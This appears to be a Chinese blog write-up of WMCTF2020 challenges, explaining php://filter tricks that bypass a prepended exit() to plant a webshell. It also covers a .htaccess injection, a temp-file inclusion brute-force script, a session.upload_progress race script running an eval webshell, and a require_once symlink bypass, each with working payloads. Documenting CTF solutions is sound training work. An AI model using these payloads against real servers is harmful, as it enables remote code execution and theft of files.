WMCTF2020

2020-08-06 110次浏览 0条评论  前往评论

前言


不会做,好多知识盲点🙃

web

web_checkin


源码为

 <?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

这里可以先学习P神的死亡exit的绕过:谈一谈php://filter的妙用

这里的话看到file_put_contents()一般就是写shell了,但是因为前面有exit()导致即使我们成功写入一句话,也执行不了,一般来说可以用base64可以直接绕过,如:

php://filter/write=convert.base64-decode/resource=shell.php

或者

php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

strip_tags去除死亡exit,再将webshellbase64-decode还原

又或者

php://filter/write=string.rot13/resource=shell.php

原理和上面类似,核心是将"死亡exit"去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>

如果我们上传<?cuc cucvasb();?>,经过rot13编码后会变成<?php phpinfo();?>

这就是P神的三种绕过exit的方法,但是题目过滤了rotbase64,以及file_put_contents($content,'<?php exit();'.$content);,前后两个地方都是content,所以这题的解法要改一下。

一般来说往文件里面写东西并绕过exit是这样的

?content=php://filter/write=string.strip_tags/some_thing/resource=1.php

比如说写一个.htaccess(这里参考hhhm师傅博客)

?content=php://filter/write=string.strip_tags/?>AddType application/x-httpd-php .jpg%0aphp_value auto_append_file 'php://filter/convert.ba\%0Ase64-decode/reso\%0Aurce=a.jpg'%0A%23/resource=.htaccess

会得到

AddType application/x-httpd-php .jpg
php_value auto_append_file 'php://filter/convert.ba\
se64-decode/reso\
urce=a.jpg'
#/resource=.htaccess

前置知识看好后,下面是官方的解法了。

二次编码绕过

file_put_contents中可以调用伪协议,而伪协议处理时会对过滤器urldecode一次,所以是可以利用二次编码绕过的,不过%25被ban了,测试%25被ban后就可以写个脚本跑一下字符,构造一些过滤的字符就可以利用正常的姿势绕过。

<?php 
$char = 'r'; #构造r的二次编码 
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) { 
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) { 
        $aaa = '%'.$ascii1.'%'.$ascii2; 
        if(urldecode(urldecode($aaa)) == $char){ 
            echo $char.': '.$aaa; 
            echo "\n"; 
        } 
    } 
} 
?> 

payload

php://filter/write=string.%7%32ot13|<?cuc cucvasb();?>|/resource=Cyc1e.php 
#Cyc1e.php 
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc 

过滤器绕过

题目中过滤的过滤器有

/iconv|UCS|UTF|rot|quoted|base64/ 

预留了zlib、bzip2、string等过滤器, php:filter 支持使用多个过滤器,所以可以利用 zlibzlib.deflatezlib.inflate 来做,压缩后再解压后内容肯定不变,可以在中间遍历一下剩下的几个过滤器,看看中间操作时候是否会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php 

会生成这个

<?php@xit();php://fil|mr/zlib.lmfla|m|s|ring.|olowmr|zlib.infla|m|?><?php
eval($_GET[1]);?>/vesouvce=Cyc1e.<?p

爆破临时文件

环境特地设置了php 7.0.33版本,由于file_put_contents也可以利用伪协议,所以老问题,利用string.strip_tags会发生段错误,这时候上传一个shell会以临时文件的形式保存在/tmp中,利用require_once包含getshell即可。

脚本如下:

import requests
import string
import itertools

charset = string.digits + string.letters

host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)


def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        response = requests.post(url, files=files)
    except Exception as e:
        print e

def generate_tmp_files():
    file_content = '<?php system("xxxxxxxx");?>'
    phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Cyc1e.php" % (
        base_url)
    print phpinfo_url
    length = 6
    times = len(charset) ** (length / 2)
    for i in xrange(times):
        print "[+] %d / %d" % (i, times)
        upload_file_to_include(phpinfo_url, file_content)

if __name__ == "__main__":
    generate_tmp_files()

Make PHP Great Again


源码为

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

这里因为flag.phprequire_once包含过一次了,所以下面如果用伪协议去读的话,是读取不到flag.php的内容的。第一个版本存在非预期:session.upload_progress

具体可以参考:https://www.freebuf.com/vuls/202819.html

脚本:

import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('cat flag.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/index.php?file=/tmp/sess_'+sessid,data=data)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

原理就是利用的是条件竞争,上传一个足够大的文件增加session文件的存在时间使得包含成功。

Make PHP Great Again2


PHP最新版 的小 Trick, require_once 包含的软链接层数较多事 once 的 hash 匹配会直接失效造成重复包含。

payload

http://no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

misc

Happy_birthday!


打开题目看到文件名"daolnwod.zip",看到文件结尾的4B 50不难想到将文件reverse后就能得到压缩包和flag

脚本如下

f = open('daolnwod.zip','rb').read()
f = f[::-1]
f2 = open('flag.zip','wb').write(f)

解压即可得到flag。



登录后回复

共有0条评论